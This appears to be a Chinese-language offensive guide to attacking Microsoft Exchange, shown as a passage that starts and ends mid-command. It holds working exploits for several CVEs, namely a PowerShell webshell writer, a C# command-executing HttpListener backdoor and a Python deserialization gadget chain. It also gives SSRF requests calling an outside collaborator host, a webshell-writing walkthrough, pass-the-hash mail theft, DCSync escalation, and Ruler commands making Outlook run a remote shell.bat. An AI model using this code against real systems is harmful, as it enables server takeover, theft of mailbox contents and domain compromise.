$s = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://$server/PowerShell/ -Authentication Kerberos -Credential $creds
$hta = Get-RandomAlphanumericString
$aspx = Get-RandomAlphanumericString
# write a hta file with commands
Writebad-File -fn "C:/Windows/Temp/$hta.hta" -content "<script>new ActiveXObject('WScript.Shell').Exec('cmd /c $cmd')</script>" -session $s
"(+) wrote to target file C:/Windows/Temp/$hta.hta"
# write aspx file
Writebad-File -fn "C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/$aspx.aspx" -content "<%=System.Diagnostics.Process.Start(Request[Request.HttpMethod])%>" -session $s
"(+) wrote to target file C:/Program Files/Microsoft/Exchange Server/V15/ClientAccess/ecp/$aspx.aspx"
"(+) shell written, executing command..."
$b = @{
destination = "https://$server/ecp/$aspx.aspx?GET=C:/Windows/Temp/$hta.hta"
flags = ''
username = $usr
password = $pwd
}
$r = Invoke-WebRequest "https://$server/owa/auth.owa" -SessionVariable 'websess' -Body $b -Method 'POST' | Select-Object -Expand Forms
if ([string]::IsNullOrWhiteSpace($r)) {
"(+) executed $cmd as SYSTEM!"
} else {
"(-) exploit failed"
}
}
Get-PSSession | Remove-PSSession
Exploit-Exchange -server $server -usr $usr -pwd $pwd -cmd $cmd
CVE-2020-17144
一、漏洞简介
漏洞是由程序未正确校验cmdlet参数引起。经过身份验证的攻击者利用该漏洞可实现远程代码执行。
该漏洞和 CVE-2020-0688 类似,也需要登录后才能利用,不过在利用时无需明文密码,只要具备 NTHash 即可。除了常规邮件服务与 OWA外,EWS接口也提供了利用所需的方法。漏洞的功能点本身还具备持久化功能。
二、漏洞影响
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 31
三、复现过程
漏洞分析
此漏洞成因简单粗暴,首先,模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现,其代码极为简略:
internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai)
{
messageTransformer = null;
learningModel = null;
using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false))
{
if (userConfiguration == null)
{
return false;
}
if (parseFai)
{
return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);
}
}
return true;
}
OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改,这里是一个可控输入:
internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing)
{
.....
StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
try
{
userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);
}
.....
return userConfiguration;
}
随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化:
private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer)
{
.....
try
{
using (Stream serializationStream = configItem.GetStream())
{
IFormatter formatter = new BinaryFormatter();
learningModel = (LearningModel)formatter.Deserialize(serializationStream);
messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);
result = true;
}
}
.....
return result;
}
想要成功利用漏洞,便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA,Exchange提供还提供了EWS接口供客户端调用,其对应的客户端类库为Microsoft.Exchange.WebServices.dll。
熟悉EWS开发的话都会知道,客户端类库中的对象模型与服务器对象模型几乎完全对应。实际上完全不需要查询MSDN即可找到所需类型Microsoft.Exchange.WebServices.Data.UserConfiguration,其定义如下:
C#
public class UserConfiguration : IJsonSerializable
{
...
public string Name
{
get
{
return name;
}
internal set
{
name = value;
}
}
public FolderId ParentFolderId
{
get
{
return parentFolderId;
}
internal set
{
parentFolderId = value;
}
}
public ItemId ItemId => itemId;
public UserConfigurationDictionary Dictionary => dictionary;
public byte[] XmlData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.XmlData);
return xmlData;
}
set
{
xmlData = value;
MarkPropertyForUpdate(UserConfigurationProperties.XmlData);
}
}
public byte[] BinaryData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.BinaryData);
return binaryData;
}
set
{
binaryData = value;
MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);
}
}
...
}
对照方法定义很容易写出以下Exp:
ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!");
service.Url = new Uri("https://target/ews/Exchange.asmx");
{
byte[] data = EVIL-SERIALIZED-BUFFER;
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
}
其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据,注意需要更新为修复兼容性的版本,并使用.net 3.5进行编译。
执行后,目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。
代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象:我们访问了EWS,设置了一个邮箱文件夹对象上的属性,而漏洞由MSExchangeMailboxAssistants.exe进行触发。
这个现象已经并非单纯的web代码审计,我们需要站在更高的系统层面进行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图,单纯考虑此漏洞所涉及的系统进行简化整理,可以得到如下流程图:
实际上,无论是通过接口或是客户端,对配置、邮件等服务器对象的修改都会直接体现在Storage所存储的内容中,这是一个数据持久化与共享行为。任何读取邮件数据的服务实际上等同于读取Storage,从而造成了我们观察到由MSExchangeMailboxAssistants服务进行反序列化的结果。
此时回到代码审计的领域分析具体触发位置。MSExchangeMailboxAssistants实现了一个托管的windows服务,从其入口点Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注册了大量经由时间或事件触发的功能:
protected override void OnStartInternal(string[] args)
{
...
databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true);
databaseManager.Start();
...
}
CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类,其HandleEventInternal方法会判断是否为AutoTag配置,我们可以看到熟悉的名称MRM.AutoTag.Model:
internal static bool IsAutoTagFai(MapiEvent mapiEvent)
{
if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0)
{
if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0)
{
return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0;
}
return true;
}
return false;
}
如是,则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法,此方法负责模型初始化加载,并进入实际的反序列化调用。
现在已经能够在远程执行任意命令,然而在实战利用中远远不够。我们不能确定对方是否能够真正联网,一个没有稳定控制通道的漏洞利用在实战中价值并不高。
我们只能确定能够访问到目标的EWS,那么如何进行稳定控制?我们当然可以写入WebShell,但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行,所以完全可以通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问。
NetFX提供了HttpListener提供了HTTP API的托管访问,参考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0,使用以下代码即可在/ews/soap/路径建立一个Http监听器,并执行request["pass"]提供的命令:
string password = "pass";
try
{
if (!HttpListener.IsSupported){return;}
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://*:80/ews/soap/");
listener.Start();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Stream stm = null ;
string cmd=request.QueryString[password];
if(!string.IsNullOrEmpty(cmd))
{
try
{
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
catch
{
response.StatusCode = 404;
}
finally
{
if(stm!=null)
{
stm.Close();
}
}
}
else
{
response.StatusCode = 404;
response.OutputStream.Close();
}
}
}
catch{}
由于会多次触发反序列化行为,为了防止阻塞以及跑出异常,需要开启新线程进行监听,完整代码大致如下:
namespace Zcg.Exploit.Remote
{
public class SimpleExecutionRemoteStub
{
public SimpleExecutionRemoteStub()
{
new Thread(Listen).Start();
}
void Listen()
{
....
}
}
}
编译,使用新用户执行后访问/ews/soap/?pass=whoami,不出意外将得到whoami的输出结果:
至此利用圆满达成?并不,这里还有一个严重的问题需要解决:无法多次利用。例如,使用曾经进行过漏洞利用的用户继续测试,将不会成功;同时虽然序列化数据本身是持久化的,但重启之后依然无法生效。这两个情况将导致漏洞只能使用一次,在实战中是不可接受的。
解决此问题需要重新审视触发点ElcEventBasedAssistant,代码中可发现名为IsEventInteresting的方法,根据名称很容易推测是一个判断是否需要触发事件的开关。
此方法内调用了NeedToAutoTag方法验证是否需要自动标签功能,其代码如下:
private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache)
{
if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)
{
Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent);
return true;
}
return false;
}
可以看到,新用户默认会进行一次模型加载处理,这是最初可以成功利用的原因,而后续利用因为AutoTagEnabled默认为false导致失败。
AutoTagEnabled是Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.AutoTagUserSetting的成员,很明显是一个简单模型类。简单搜索AutoTagEnabled即可发现此类由Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadUserSettings读取名为MRM.AutoTag.Setting的配置,尝试从字典中获取名为AutoTagEnabled的布尔值,并为AutoTagUserSetting::AutoTagEnabled赋值。
所以只要略加修改poc,加入对MRM.AutoTag.Setting的修改即可:
byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);
u.Delete();
}catch{}
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary);
u.Delete();
}catch{}
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
try
{
u = new UserConfiguration(service);
u.Dictionary["AutoTagEnabled"] = true;
u.Dictionary["NumberOfPredictedEmail"] = 0;
u.Dictionary["NumberOfCorrectedEmail"] = 0;
u.Dictionary["NumberOfRetaggedEmail"] = 0;
u.Save("MRM.AutoTag.Setting", folder.Id);
}catch{}
注意由于此配置默认可能存在,所以需要删除或覆盖。
编译执行后重启,直接访问/ews/soap/?pass=whoami依然可以执行命令,至此漏洞利用完美达成。
最后两个补充:
很多情况下Exchange外部存在代理且仅允许https访问,此时端口复用也应该修改为https协议。
EWS支持NTLM协议认证,采用Relay或是Hash登录均可作为明文密码的替代品,是某些情况下可选的攻击方案。
需要普通用户凭据的情况下的RCE,就Exchange2010能用
poc
https://github.com/Airboi/CVE-2020-17144-EXP
https://github.com/zcgonvh/CVE-2020-17144
CVE-2020-17144
执行完之后会有个内存马,访问
http://[target]/ews/soap/?pass=命令
头像哥的这个工具有个地方需要注意的是,他默认监听的是80端口的,咱们访问EWS接口一般用443,就以为没打成功,实际成功了.
CVE-2021-42321
!/usr/bin/python
import socket, time
import httplib, requests
import urllib
import os, ssl
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
import base64
USER = ''
PASS = ''
target = "https://target"
rcegadget
pop calc or mspaint on the target
gadgetData = 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAgAAAA9Gb3JlZ3JvdW5kQnJ1c2gPQmFja2dyb3VuZEJydXNoAQECAAAABgMAAABtPExpbmVhckdyYWRpZW50QnJ1c2ggeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiI+PC9MaW5lYXJHcmFkaWVudEJydXNoPgYEAAAA6w08UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQp4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw=='
def sendPayload(gadgetChain):
get_inbox = '''
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
soap:Header
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
soap:Body
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>AllProperties</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox" />
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
'''
headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}
res = requests.post(target + "/ews/exchange.asmx",
data=get_inbox,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
folderId = res.content.split('<t:FolderId Id="')[1].split('"')[0]
changeKey = res.content.split('<t:FolderId Id="' + folderId + '" ChangeKey="')[1].split('"')[0]
delete_old = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:DeleteUserConfiguration>
<m:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</m:UserConfigurationName>
</m:DeleteUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey)
res = requests.post(target + "/ews/exchange.asmx",
data=delete_old,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
create_usr_cfg = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:CreateUserConfiguration>
<m:UserConfiguration>
<t:UserConfigurationName Name="ExtensionMasterTable">
<t:FolderId Id="%s" ChangeKey="%s" />
</t:UserConfigurationName>
<t:Dictionary>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgChkTm</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer64</t:Type>
<t:Value>637728170914745525</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgDO</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Boolean</t:Type>
<t:Value>false</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
<t:DictionaryEntry>
<t:DictionaryKey>
<t:Type>String</t:Type>
<t:Value>OrgExtV</t:Value>
</t:DictionaryKey>
<t:DictionaryValue>
<t:Type>Integer32</t:Type>
<t:Value>2147483647</t:Value>
</t:DictionaryValue>
</t:DictionaryEntry>
</t:Dictionary>
<t:BinaryData>%s</t:BinaryData>
</m:UserConfiguration>
</m:CreateUserConfiguration>
</soap:Body>
</soap:Envelope>''' % (folderId, changeKey, gadgetChain)
res = requests.post(target + "/ews/exchange.asmx",
data=create_usr_cfg,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
get_client_ext = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2013" />
</soap:Header>
<soap:Body>
<m:GetClientAccessToken>
<m:TokenRequests>
<t:TokenRequest>
<t:Id>aaaa</t:Id>
<t:TokenType>CallerIdentity</t:TokenType>
</t:TokenRequest>
</m:TokenRequests>
</m:GetClientAccessToken>
</soap:Body>
</soap:Envelope>
'''
res = requests.post(target + "/ews/exchange.asmx",
data=get_client_ext,
headers=headers,
verify=False,
auth=HttpNtlmAuth('%s' % (USER),
PASS))
sendPayload(gadgetData)
0x05SSRF漏洞
CVE-2021-26855
一、漏洞简介
该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。
危害:该漏洞是Exchange中的服务端请求伪造漏洞(SSRF),利用此漏洞的攻击者能够发送任意HTTP请求并绕过Exchange Server身份验证,远程未授权的攻击者可以利用该漏洞以进行内网探测,并可以用于窃取用户邮箱的全部内容。
二、漏洞影响
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
Microsoft Exchange 2010
三、复现过程
开启burp抓包,构造数据包:
GET /owa/auth/x.js HTTP/1.1
Host: www.0-sec.org
Connection: close
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://www.0-sec.org/owa/auth/logon.aspx?url=https%3A%2F%2F218.4.218.174%2Fowa%2F&reason=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: X-AnonResource=true; X-AnonResource-Backend=oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
访问url为:https://www.0-sec.org/owa/auth/x.js (貌似x.js可以随便构造)
构造Cookie信息为:
Cookie: X-AnonResource=true; X-AnonResource-Backend=oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
其中oyq5v1vyqo5komisdc1jfltvzm5dt2.burpcollaborator.net为dnglog信息。
可有使用burp自带的dnglog进行验证:
点击burp,选择Burp collaborator client:
各个Dnslog提示信息不一样,但是都可以成功返回信息:
Dnslog平台:
0x06任意文件写入
CVE-2021-27065
一、漏洞简介
CVE-2021–27065是⼀个任意⽂件写⼊漏洞,它需要登陆的管理员账号权限才能触发。而CVE-2021–26855正好可以为我们提供了管理员账号权限。
二、漏洞影响
Microsoft Exchange 2010
Microsoft Exchange 2013
Microsoft Exchange 2016
Microsoft Exchange 2019
三、复现过程
登录管理员账号后,进入:服务器——>虚拟目录——>OAB
编辑OAB配置,在外部链接中写⼊shell并保存。
保存后选择重置虚拟目录
写下shell位置为:\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx
查看shell文件,写入了一句话木马。
0x07hash/密码 操作ews接口
可以使用现成工具
- pth_to_ews
https://github.com/pentest-tools-public/Pass-to-hash-EWS
保存在目录下的inbox文件夹中为eml格式
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -MType Inbox
发送邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -Sendmail -T "123" -TM zhangjiawei1@Liton-Lab.com -B HTML.txt
搜索邮件内容含有ACL的邮件
pth_to_ews.exe https://MAIL/ews/exchange.asmx -U daiker -P 密码 -MType SentItems -Filterstring "ACL" 搜索ACL
如果有自己研发的需求,见3好学生的Exchange Web Service(EWS)开发指南
0x08 Exchange 在域内的位置
- 域内定位Exchange服务器
在域内可以使用ldap定位,过滤规则
"(objectCategory=msExchExchangeServer)"
可以通过spn 来定位
setspn -Q IMAP/*
- Exchange内部的域管凭据
拿到Exchange服务器,有很大概率就是域管直接登录的.或者域管曾经登录过.拿到Exchange服务器权限的时候,可以尝试直接dir下域控的C盘,看有没有权限.如果没有权限,再尝试使用mimikatz抓一波密码,很大概率可以直接抓到域管或者高权限用户.而且就算是高版本的server,在Exchange上也能抓到明文密码.
3. Exchange的ACL
所有的Exchange Server 都在Exchange Windows Permissions组里面,而这个组默认就对域有WriteACL权限,那么当我们拿下Exchange服务器的时候,就可以尝试使用WriteACL赋予自身Dcsync的权限.
使用powerview,为当前exchange机器名用户增加dcsync权限(此处需要使用dev分枝中的powerview)
powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1;Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIde ntity exchange2016$ -Rights DCSync -Verbose}"
由于这个权限,Exchange 的RCE常用以在内网渗透中用来提升到域管权限.
因此在CVE-2019-1040中,除了可以攻击DC,也有人选择攻击Exchange.
0x09 攻击 OutLook客户端
前提条件:
需要用户凭据
该用户电脑装了Oulook客户端,用outlook查看邮件的时候触发.
攻击效果
通过Outlook客户端控制用户电脑
有三种方式 Form,ruler,HomePage.
- Form
Ruler
form
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form display
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form add --suffix superduper --input C:\Users\tom\Desktop\output\command.txt --rule --send
command.txt 里面的内容是
CreateObject("Wscript.Shell").Run "calc.exe", 0, False
触发
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form send --target daiker@Liton-Lab.com --suffix superduper --subject "Hi Koos" --body "Hi Koos,\nJust checking in."
删除
ruler_windows_amd64.exe --insecure --url https://MAIL/autodiscover/autodiscover.xml --email daiker@Liton-Lab.com -u daiker -p 密码 --verbose --debug form delete --suffix superduper
- Ruler
查看规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug display
增加规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug add —location “\VPS\webdav\shell.bat” —trigger “popashell” —name maliciousrule
触发规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug send —subject popashell —body “this is a test by daiker”
删除规则
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug delete —id 020000006cfcd8d7
webdav可以这样开
pip install WsgiDAV cheroot
wsgidav —host 0.0.0.0 —port 80 —root=/tmp/11/
没有CVE编号,但是有些版本Outlook没测试成功,可以看下这篇文章Outlook 2016 rules start application option gone
3. HomePage
1.Ruler
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage display
ruler_windows_amd64.exe —insecure —url https://MAIL/autodiscover/autodiscover.xml —email daiker@Liton-Lab.com -u daiker -p 密码 —verbose —debug homepage add —url http://x
